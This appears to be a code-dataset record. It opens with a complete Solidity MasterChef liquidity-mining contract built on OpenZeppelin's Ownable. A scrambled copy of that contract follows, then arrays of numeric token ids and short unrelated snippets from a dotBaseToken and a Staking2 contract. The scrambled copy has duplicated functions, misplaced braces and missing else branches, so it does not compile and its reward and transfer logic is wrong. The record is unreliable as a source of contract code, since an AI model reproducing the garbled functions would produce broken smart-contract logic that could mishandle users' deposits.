(uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/interface/ICC.sol pragma solidity ^0.6.0; interface ICC is IERC20 { function mint(address to, uint256 amount) external returns (bool); } // File contracts/main/MasterChef.sol pragma solidity 0.6.12; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to CCSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // CCSwap must mint EXACTLY the same amount of CCSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } interface IMasterChef { function pending(uint256 pid, address user) external view returns (uint256); function deposit(uint256 pid, uint256 amount) external; function withdraw(uint256 pid, uint256 amount) external; function emergencyWithdraw(uint256 pid) external; } // MasterChef is the master of CC. He can make CC and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once CC is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of CCs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accCCPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accCCPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. CCs to distribute per block. uint256 lastRewardBlock; // Last block number that CCs distribution occurs. uint256 accCCPerShare; // Accumulated CCs per share, times 1e12. See below. } // The CC TOKEN! ICC public cc; // Block number when bonus CC period ends. uint256 public bonusEndBlock; // CC tokens created per block. uint256 public ccPerBlock; // Bonus muliplier for early cc makers. uint256 public constant BONUS_MULTIPLIER = 10; // For pause check bool public paused = false; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when CC mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( ICC _cc, uint256 _ccPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { cc = _cc; ccPerBlock = _ccPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCCPerShare: 0 })); } // Update the given pool's CC allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public notPause { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending CCs on frontend. function pendingCC(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCCPerShare = pool.accCCPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 ccReward = multiplier.mul(ccPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accCCPerShare = accCCPerShare.add(ccReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCCPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 ccReward = multiplier.mul(ccPerBlock).mul(pool.allocPoint).div(totalAllocPoint); cc.mint(address(this), ccReward); pool.accCCPerShare = pool.accCCPerShare.add(ccReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for CC allocation. function deposit(uint256 _pid, uint256 _amount) public notPause { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCCPerShare).div(1e12).sub(user.rewardDebt); safeCCTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCCPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public notPause { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accCCPerShare).div(1e12).sub(user.rewardDebt); safeCCTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCCPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe cc transfer function, just in case if rounding error causes pool to not have enough CCs. function safeCCTransfer(address _to, uint256 _amount) internal { uint256 ccBal = cc.balanceOf(address(this)); if (_amount > ccBal) { cc.transfer(_to, ccBal); } else { cc.transfer(_to, _amount); } } function setPause() public onlyOwner { paused = !paused; } modifier notPause() { require(paused == false, "Mining has been suspended"); _; } }
MasterChef is the master of CC. He can make CC and he is a fair guy. Note that it's ownable and the owner wields tremendous power. The ownership will be transferred to a governance smart contract once CC is sufficiently distributed and the community can show to govern itself. Have fun reading it. Hopefully it's bug-free. God bless. Info of each user.
contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { } struct PoolInfo { } event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( ICC _cc, uint256 _ccPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ICC public cc; uint256 public bonusEndBlock; uint256 public ccPerBlock; uint256 public constant BONUS_MULTIPLIER = 10; bool public paused = false; IMigratorChef public migrator; PoolInfo[] public poolInfo; mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public totalAllocPoint = 0; uint256 public startBlock; ) public { cc = _cc; ccPerBlock = _ccPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCCPerShare: 0 })); } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCCPerShare: 0 })); } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCCPerShare: 0 })); } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } function migrate(uint256 _pid) public notPause { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _to.sub(_from); return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _to.sub(_from); return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } } else if (_from >= bonusEndBlock) { } else { function pendingCC(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCCPerShare = pool.accCCPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 ccReward = multiplier.mul(ccPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accCCPerShare = accCCPerShare.add(ccReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCCPerShare).div(1e12).sub(user.rewardDebt); } function pendingCC(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCCPerShare = pool.accCCPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 ccReward = multiplier.mul(ccPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accCCPerShare = accCCPerShare.add(ccReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCCPerShare).div(1e12).sub(user.rewardDebt); } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 ccReward = multiplier.mul(ccPerBlock).mul(pool.allocPoint).div(totalAllocPoint); cc.mint(address(this), ccReward); pool.accCCPerShare = pool.accCCPerShare.add(ccReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 ccReward = multiplier.mul(ccPerBlock).mul(pool.allocPoint).div(totalAllocPoint); cc.mint(address(this), ccReward); pool.accCCPerShare = pool.accCCPerShare.add(ccReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 ccReward = multiplier.mul(ccPerBlock).mul(pool.allocPoint).div(totalAllocPoint); cc.mint(address(this), ccReward); pool.accCCPerShare = pool.accCCPerShare.add(ccReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function deposit(uint256 _pid, uint256 _amount) public notPause { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCCPerShare).div(1e12).sub(user.rewardDebt); safeCCTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCCPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function deposit(uint256 _pid, uint256 _amount) public notPause { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCCPerShare).div(1e12).sub(user.rewardDebt); safeCCTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCCPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public notPause { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accCCPerShare).div(1e12).sub(user.rewardDebt); safeCCTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCCPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } function safeCCTransfer(address _to, uint256 _amount) internal { uint256 ccBal = cc.balanceOf(address(this)); if (_amount > ccBal) { cc.transfer(_to, ccBal); cc.transfer(_to, _amount); } } function safeCCTransfer(address _to, uint256 _amount) internal { uint256 ccBal = cc.balanceOf(address(this)); if (_amount > ccBal) { cc.transfer(_to, ccBal); cc.transfer(_to, _amount); } } } else { function setPause() public onlyOwner { paused = !paused; } modifier notPause() { require(paused == false, "Mining has been suspended"); _; } }
1,699,480
[ 1, 7786, 39, 580, 74, 353, 326, 4171, 434, 16525, 18, 8264, 848, 1221, 16525, 471, 3904, 353, 279, 284, 1826, 3058, 93, 18, 3609, 716, 518, 1807, 4953, 429, 471, 326, 3410, 341, 491, 87, 268, 2764, 409, 1481, 7212, 18, 1021, 23178, 903, 506, 906, 4193, 358, 279, 314, 1643, 82, 1359, 13706, 6835, 3647, 16525, 353, 18662, 715, 16859, 471, 326, 19833, 848, 2405, 358, 314, 1643, 82, 6174, 18, 21940, 9831, 6453, 518, 18, 670, 1306, 4095, 518, 1807, 7934, 17, 9156, 18, 611, 369, 324, 2656, 18, 3807, 434, 1517, 729, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 13453, 39, 580, 74, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 1958, 25003, 288, 203, 565, 289, 203, 203, 565, 1958, 8828, 966, 288, 203, 565, 289, 203, 203, 203, 203, 565, 871, 4019, 538, 305, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 3423, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 512, 6592, 75, 2075, 1190, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 203, 565, 3885, 12, 203, 3639, 467, 6743, 389, 952, 16, 203, 3639, 2254, 5034, 389, 952, 2173, 1768, 16, 203, 3639, 2254, 5034, 389, 1937, 1768, 16, 203, 3639, 2254, 5034, 389, 18688, 407, 1638, 1768, 203, 565, 467, 6743, 1071, 4946, 31, 203, 565, 2254, 5034, 1071, 324, 22889, 1638, 1768, 31, 203, 565, 2254, 5034, 1071, 4946, 2173, 1768, 31, 203, 565, 2254, 5034, 1071, 5381, 605, 673, 3378, 67, 24683, 2053, 654, 273, 1728, 31, 203, 565, 1426, 1071, 17781, 273, 629, 31, 203, 565, 6246, 2757, 639, 39, 580, 74, 1071, 30188, 31, 203, 565, 8828, 966, 8526, 1071, 2845, 966, 31, 203, 565, 2874, 261, 11890, 5034, 516, 2874, 261, 2867, 516, 25003, 3719, 1071, 16753, 31, 203, 565, 2254, 5034, 1071, 2078, 8763, 2148, 273, 374, 31, 203, 565, 2254, 5034, 2 ]
./full_match/4/0x21a5caA26fdDeA9DB140FD558124DB8de0A8aDFe/sources/C/Users/flisko/Documents/GitHub/dotbase-contracts/contracts/dotBaseToken.sol
* @param who The address to query. @return The balance of the specified address./
function balanceOf(address who) external view override returns (uint256) { return _gonBalances[who].div(_gonsPerFragment); }
831,991
[ 1, 3350, 83, 1021, 1758, 358, 843, 18, 327, 1021, 11013, 434, 326, 1269, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11013, 951, 12, 2867, 10354, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 3849, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 327, 389, 75, 265, 38, 26488, 63, 3350, 83, 8009, 2892, 24899, 75, 7008, 2173, 7456, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xDF7746bD3382A7B71B4B13A03B8C97329ae12d5F/sources/Staking2.sol
* Internal request unstake function. Update rewards for the user first. @param _account User address/ update account stake data update pool staking data
function _requestUnstake(address _account) internal hasStake() updateReward(_account) { Stake storage ts = tokenStake[_account]; require(!ts.isWithdrawing, "cannot when withdrawing"); ts.isWithdrawing = true; ts.withdrawalPossibleAt = block.timestamp + timeToUnstake.value; stakedTokens -= ts.tokens; }
15,992,839
[ 1, 3061, 590, 640, 334, 911, 445, 18, 2315, 283, 6397, 364, 326, 729, 1122, 18, 225, 389, 4631, 2177, 1758, 19, 1089, 2236, 384, 911, 501, 1089, 2845, 384, 6159, 501, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
